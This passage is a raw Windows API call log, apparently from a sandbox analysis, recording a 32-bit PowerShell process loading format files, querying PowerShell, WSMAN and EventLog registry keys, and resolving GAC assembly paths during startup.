[7]=0x48))) returned 0x0 [0052.448] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd4b2fe50, Data2=0x4d40, Data3=0x42b5, Data4=([0]=0x8a, [1]=0xbf, [2]=0xe2, [3]=0xba, [4]=0x4b, [5]=0xcf, [6]=0x66, [7]=0xcb))) returned 0x0 [0052.448] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8a41f853, Data2=0xaa08, Data3=0x4163, Data4=([0]=0xbb, [1]=0x32, [2]=0x5, [3]=0x9e, [4]=0xdd, [5]=0xf3, [6]=0xd9, [7]=0x7))) returned 0x0 [0052.448] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.448] GetLastError () returned 0x0 [0052.448] GetFileType (hFile=0x310) returned 0x1 [0052.448] SetErrorMode (uMode=0x1) returned 0x1 [0052.448] GetFileType (hFile=0x310) returned 0x1 [0052.449] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.450] GetLastError () returned 0x0 [0052.450] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.450] GetLastError () returned 0x0 [0052.450] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.450] GetLastError () returned 0x0 [0052.451] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.451] GetLastError () returned 0x0 [0052.451] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x8b4, lpOverlapped=0x0) returned 1 [0052.451] GetLastError () returned 0x0 [0052.451] ReadFile (in: hFile=0x310, lpBuffer=0x337e840, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337e840*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.451] GetLastError () returned 0x0 [0052.451] ReadFile (in: hFile=0x310, lpBuffer=0x337f3ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x337f3ec*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.451] GetLastError () returned 0x0 [0052.451] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.451] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.452] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.452] RegCloseKey (hKey=0x310) returned 0x0 [0052.452] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x15c45828, Data2=0x9941, Data3=0x49f6, Data4=([0]=0x81, [1]=0xbf, [2]=0x54, [3]=0x2e, [4]=0x25, [5]=0x70, [6]=0x86, [7]=0xd2))) returned 0x0 [0052.452] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xca494de, Data2=0x64fb, Data3=0x4718, Data4=([0]=0xb5, [1]=0x8f, [2]=0x5b, [3]=0x87, [4]=0x6f, [5]=0x3b, [6]=0x6b, [7]=0x73))) returned 0x0 [0052.453] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.453] GetLastError () returned 0x0 [0052.453] GetFileType (hFile=0x310) returned 0x1 [0052.453] SetErrorMode (uMode=0x1) returned 0x1 [0052.453] GetFileType (hFile=0x310) returned 0x1 [0052.453] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.454] GetLastError () returned 0x0 [0052.454] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.454] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.455] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.455] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0xe98, lpOverlapped=0x0) returned 1 [0052.455] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x310, lpBuffer=0x33b5930, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b5930*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.455] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x310, lpBuffer=0x33b62f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x33b62f8*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.455] GetLastError () returned 0x0 [0052.456] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.456] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.456] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.456] RegCloseKey (hKey=0x310) returned 0x0 [0052.457] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xb5324166, Data2=0xcf42, Data3=0x46ce, Data4=([0]=0xb5, [1]=0xaa, [2]=0x20, [3]=0x88, [4]=0x7c, [5]=0x4f, [6]=0x4b, [7]=0xb7))) returned 0x0 [0052.457] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3c1c79f8, Data2=0x8389, Data3=0x4e1f, Data4=([0]=0xa2, [1]=0x5c, [2]=0x58, [3]=0xd1, [4]=0x71, [5]=0x82, [6]=0x4d, [7]=0xcd))) returned 0x0 [0052.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0052.468] GetLastError () returned 0x57 [0052.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0052.468] GetLastError () returned 0x57 [0052.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0052.470] GetLastError () returned 0x57 [0052.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0052.471] GetLastError () returned 0x57 [0052.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.472] GetLastError () returned 0x57 [0052.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.475] GetLastError () returned 0x57 [0052.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0052.484] GetLastError () returned 0x57 [0052.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0052.485] GetLastError () returned 0x57 [0052.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0052.486] GetLastError () returned 0x57 [0052.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0052.486] GetLastError () returned 0x57 [0052.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0052.487] GetLastError () returned 0x57 [0052.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0052.488] GetLastError () returned 0x57 [0052.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.489] GetLastError () returned 0x57 [0052.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.489] GetLastError () returned 0x57 [0052.493] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.493] GetLastError () returned 0xcb [0052.494] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.494] GetLastError () returned 0xcb [0052.499] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.499] GetLastError () returned 0xcb [0052.502] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.502] GetLastError () returned 0xcb [0052.503] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.503] GetLastError () returned 0xcb [0052.507] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e46c | out: phkResult=0x27e46c*=0x310) returned 0x0 [0052.509] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e4bc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e4c0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e4bc*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e4c0*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.510] RegEnumValueW (in: hKey=0x310, dwIndex=0x0, lpValueName=0x2d1db8, lpcchValueName=0x27e4e4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27e4e4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0052.510] RegEnumValueW (in: hKey=0x310, dwIndex=0x1, lpValueName=0x2d1db8, lpcchValueName=0x27e4e4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27e4e4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0052.510] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e4c4, lpData=0x0, lpcbData=0x27e4c0*=0x0 | out: lpType=0x27e4c4*=0x1, lpData=0x0, lpcbData=0x27e4c0*=0x8) returned 0x0 [0052.511] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e4c4, lpData=0x2d1db8, lpcbData=0x27e4c0*=0x8 | out: lpType=0x27e4c4*=0x1, lpData="2.0", lpcbData=0x27e4c0*=0x8) returned 0x0 [0052.559] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e428 | out: phkResult=0x27e428*=0x314) returned 0x0 [0052.559] RegQueryInfoKeyW (in: hKey=0x314, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e478, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e47c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e478*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e47c*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.559] RegEnumValueW (in: hKey=0x314, dwIndex=0x0, lpValueName=0x2d1db8, lpcchValueName=0x27e4a0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27e4a0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0052.559] RegEnumValueW (in: hKey=0x314, dwIndex=0x1, lpValueName=0x2d1db8, lpcchValueName=0x27e4a0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27e4a0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0052.559] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e480, lpData=0x0, lpcbData=0x27e47c*=0x0 | out: lpType=0x27e480*=0x1, lpData=0x0, lpcbData=0x27e47c*=0x8) returned 0x0 [0052.559] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e480, lpData=0x2d1db8, lpcbData=0x27e47c*=0x8 | out: lpType=0x27e480*=0x1, lpData="2.0", lpcbData=0x27e47c*=0x8) returned 0x0 [0052.560] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.560] GetLastError () returned 0xcb [0052.561] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.561] GetLastError () returned 0xcb [0052.593] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3e8 | out: phkResult=0x27e3e8*=0x318) returned 0x0 [0052.593] RegQueryInfoKeyW (in: hKey=0x318, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e450, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e44c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e450*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e44c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x0, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x1, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x2, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x3, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x4, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x5, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.594] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x6, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.595] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x7, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.595] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x8, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.595] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x9, lpName=0x2d1db8, lpcchName=0x27e46c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e46c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.595] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x334) returned 0x0 [0052.595] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.595] RegOpenKeyExW (in: hKey=0x318, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x344) returned 0x0 [0052.595] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.595] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x348) returned 0x0 [0052.595] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.596] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x34c) returned 0x0 [0052.596] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.596] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x350) returned 0x0 [0052.596] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.596] RegOpenKeyExW (in: hKey=0x318, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x354) returned 0x0 [0052.596] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.596] RegOpenKeyExW (in: 